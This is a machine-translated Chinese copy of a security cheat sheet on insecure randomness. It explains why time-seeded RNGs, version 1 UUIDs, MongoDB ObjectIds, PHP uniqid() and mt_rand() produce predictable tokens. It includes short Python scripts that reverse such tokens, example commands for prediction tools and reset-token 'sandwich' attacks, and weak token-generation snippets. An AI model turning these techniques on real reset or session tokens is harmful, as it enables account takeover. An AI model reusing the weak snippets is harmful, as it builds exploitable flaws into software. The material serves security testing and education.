不安全的随机性


文档摘要

不安全的随机性 不安全的随机性是指在计算中与随机数生成相关的弱点,尤其是在将此类随机性用于安全关键目的时。随机数生成器 (RNG) 中的漏洞可能导致可预测的输出,从而被攻击者利用,进而造成潜在的数据泄露或未经授权的访问。 摘要 方法论 基于时间的种子 GUID / UUID GUID 版本 Mongo ObjectId Uniqid mtrand 自定义算法 参考文献 方法论 当随机性来源或生成随机值的方法不够不可预测时,就会出现不安全的随机性。这可能导致可预测的输出,从而被攻击者利用。下面我们将探讨容易出现不安全随机性的常见方法,包括基于时间的种子、GUID、UUID、MongoDB ObjectId 以及 函数。

不安全的随机性

不安全的随机性是指在计算中与随机数生成相关的弱点,尤其是在将此类随机性用于安全关键目的时。随机数生成器 (RNG) 中的漏洞可能导致可预测的输出,从而被攻击者利用,进而造成潜在的数据泄露或未经授权的访问。

摘要

方法论

当随机性来源或生成随机值的方法不够不可预测时,就会出现不安全的随机性。这可能导致可预测的输出,从而被攻击者利用。下面我们将探讨容易出现不安全随机性的常见方法,包括基于时间的种子、GUID、UUID、MongoDB ObjectId 以及 uniqid() 函数。

基于时间的种子

许多随机数生成器 (RNG) 使用当前系统时间(例如自纪元以来的毫秒数)作为种子。这种方法可能是不安全的,因为种子值很容易被预测,尤其是在自动化或脚本环境中。

import random import time seed = int(time.time()) random.seed(seed) print(random.randint(1, 100))

RNG 使用当前时间作为种子,因此任何知道或能够估计种子值的人都可以预测其输出。
只要知道确切的时间,攻击者就可以重新生成正确的随机值。以下以日期 2024-11-10 13:37 为例。

import random import time # Seed based on the provided timestamp seed = int(time.mktime(time.strptime('2024-11-10 13:37', '%Y-%m-%d %H:%M'))) random.seed(seed) # Generate the random number print(random.randint(1, 100))

GUID / UUID

GUID(全局唯一标识符)或 UUID(通用唯一标识符)是一个 128 位数字,用于在计算机系统中唯一标识信息。它们通常表示为一组由连字符分隔的十六进制数字,例如 550e8400-e29b-41d4-a716-446655440000. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.

GUID Versions

Version identification: xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx
The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.

Version Notes
0 Only 00000000-0000-0000-0000-000000000000
1 基于时间或时钟序列
2 在 RFC 4122 中保留,但在许多实现中被省略
3 基于 MD5 哈希
4 随机生成
5 基于 SHA1 哈希

工具

  • intruder-io/guidtool - 用于检查和攻击版本 1 GUID 的工具

    $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00 UUID version: 1 UUID time: 2022-04-13 08:06:13.202186 UUID timestamp: 138691299732021860 UUID node: 91754721024 UUID MAC address: 00:15:5d:01:ef:00 UUID clock sequence: 2099 $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000

Mongo ObjectId

Mongo ObjectId 的生成方式是可预测的。12 字节的 ObjectId 值由以下部分组成:

  • 时间戳(4 字节):表示 ObjectId 的创建时间,以自 Unix 纪元(1970 年 1 月 1 日)以来的秒数来衡量。
  • 机器标识符(3 字节):标识生成 ObjectId 的机器。通常根据机器的主机名或 IP 地址派生,因此在同一台机器上创建的文档的 ObjectId 是可预测的。
  • 进程 ID(2 字节):标识生成 ObjectId 的进程。通常是 MongoDB 服务器进程的 PID,因此由同一进程创建的文档的 ObjectId 是可预测的。
  • 计数器(3 字节):一个唯一的计数器值,每生成一个新的 ObjectId 就递增一次。进程启动时初始化为随机值,但后续值是可预测的,因为它们按顺序生成。

令牌示例

  • 5ae9b90a2c144b9def01ec37, 5ae9bac82c144b9def01ec39

工具

  • andresriancho/mongo-objectid-predict - 用于预测 Mongo ObjectId 的工具

    ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37 5ae9bac82c144b9def01ec39 5ae9bacf2c144b9def01ec3a 5ae9bada2c144b9def01ec3b
  • 用于恢复 timestamp, process and counter 的 Python 脚本

    def MongoDB_ObjectID(timestamp, process, counter): return "%08x%10x%06x" % ( timestamp, process, counter, ) def reverse_MongoDB_ObjectID(token): timestamp = int(token[0:8], 16) process = int(token[8:18], 16) counter = int(token[18:24], 16) return timestamp, process, counter def check(token): (timestamp, process, counter) = reverse_MongoDB_ObjectID(token) return token == MongoDB_ObjectID(timestamp, process, counter) tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"] for token in tokens: (timestamp, process, counter) = reverse_MongoDB_ObjectID(token) print(f"{token}: {timestamp} - {process} - {counter}")

Uniqid

使用 uniqid are based on timestamp and they can be reversed.

Token examples

  • uniqid: 6659cea087cd6, 6659cea087cea
  • sha256(uniqid): 4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4, ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4 生成的令牌。

工具

import math import datetime def uniqid(timestamp: float) -> str: sec = math.floor(timestamp) usec = round(1000000 * (timestamp - sec)) return "%8x%05x" % (sec, usec) def reverse_uniqid(value: str) -> float: sec = int(value[:8], 16) usec = int(value[8:], 16) return float(f"{sec}.{usec}") tokens = ["6659cea087cd6" , "6659cea087cea"] for token in tokens: t = float(reverse_uniqid(token)) d = datetime.datetime.fromtimestamp(t) print(f"{token} - {t} => {d}")

mt_rand

仅用两个输出值即可破解 mt_rand(),无需暴力破解。

./display_mt_rand.php 12345678 123 712530069 674417379 ./reverse_mt_rand.py 712530069 674417379 123 1

自定义算法

通常不建议自行创建随机算法。以下是 GitHub 或 StackOverflow 上发现的一些示例,这些示例有时会用于生产环境,但可能并不可靠或安全。

  • $token = md5($emailId).rand(10,9999);
  • $token = md5(time()+123456789 % rand(4000, 55000000));

工具

通用识别和三明治攻击:

  • AethliosIK/reset-tolkien - 不安全的基于时间的秘密利用和三明治攻击实现 资源

    reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7" reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"

参考文献

免责声明
本文件由基于人工智能的机器翻译服务翻译而成。尽管我们力求翻译准确,但请注意,自动翻译可能包含错误或不准确之处。应以原始语言版本的文件为准。对于关键信息,建议使用专业人工翻译。对于因使用本翻译而产生的任何误解或误读,我们概不负责。


作者与出处
原作者: swisskyrepo
来源:swisskyrepo
许可证:MIT
整理: 灏天文库整理
由灏天文库结构化整理,提供目录导航、全文检索与在线阅读,便于系统化学习
发布者: 作者: swisskyrepo 转发
评论区 (0)
U